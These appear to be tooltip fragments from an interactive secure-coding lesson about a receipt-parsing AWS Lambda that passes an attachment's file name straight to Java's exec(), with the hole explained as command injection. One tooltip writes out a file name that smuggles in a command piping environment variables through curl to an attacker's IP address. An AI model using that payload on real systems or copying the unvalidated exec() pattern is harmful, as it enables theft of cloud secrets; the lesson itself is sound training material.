showControlledTooltip: { text: "

Reciptly's recept submission system uses a lambda method for parsing receipt files and relies on a proprietary application to parse and extract values from a PDF document.

", pos: "6:22" } showControlledTooltip: { text: "

The developers use Amazon's Simple Notification Service (SNS) which invokes the lambda function asynchronously with an event that contains the email message and attachment.

", pos: "13:11" } showControlledTooltip: { text: "

The attachment is extracted from the email and saved in the /tmp directory for further processing..

", pos: "63:35" } showControlledTooltip: { text: "

Reciptly's developers are using Java's exec(String command) method to run a proprietary pdf conversion application pdf2text to parse and extract data from the emailed receipt file.

", pos: "66:45" } showControlledTooltip: { text: "

The command-line program pdf2text application is invoked via exec(), passing the fileName string as a parameter.

", pos: "69:18" } showControlledTooltip: { text: "

However, no input validation is being performed on the fileName string and the developers simply trust the name of the attachment to not contain any malicious characters

", pos: "69:37" } showControlledTooltip: { text: "

When Bob's attachment is processed by the exec() method, the fileName value is represented as the following string xxx; printenv | curl 54.151.161.121 --data-urlencode @-; #.pdf.

", pos: "71:63" } showControlledTooltip: { text: "

However, since the ; character is interpreted as a command separator symbol, Bob's fileName string is interpreted by the exec() method as two separate commands.

", pos: "71:65" } showControlledTooltip: { text: "

The first command executed by the exec() method is bash -c /lib/pdf2txt /tmp/xxx which fails since xxx is an invalid filename.

", pos: "71:62" } showControlledTooltip: { text: "

The second command executed by exec() is printenv | curl 54.151.161.121 --data-urlencode @-; The printenv command is run by the exec() method and its output, the lambda environment variables, are piped to the curl command.

", pos: "71:69" } showControlledTooltip: { text: "

The curl command POST's data from the printenv command to Bob's netcat session on the host 54.151.161.121 , allowing Bob to exfiltrate sensitive data from Reciptly's runtime environment.

", pos: "71:90" } showControlledTooltip: { text: "

This ability to execute operating system commands by injecting shell metacharacters ( ; & | ) into an application's runtime environment is known as a Command Injection or shell injection vulnerability.

", pos: "69:36" }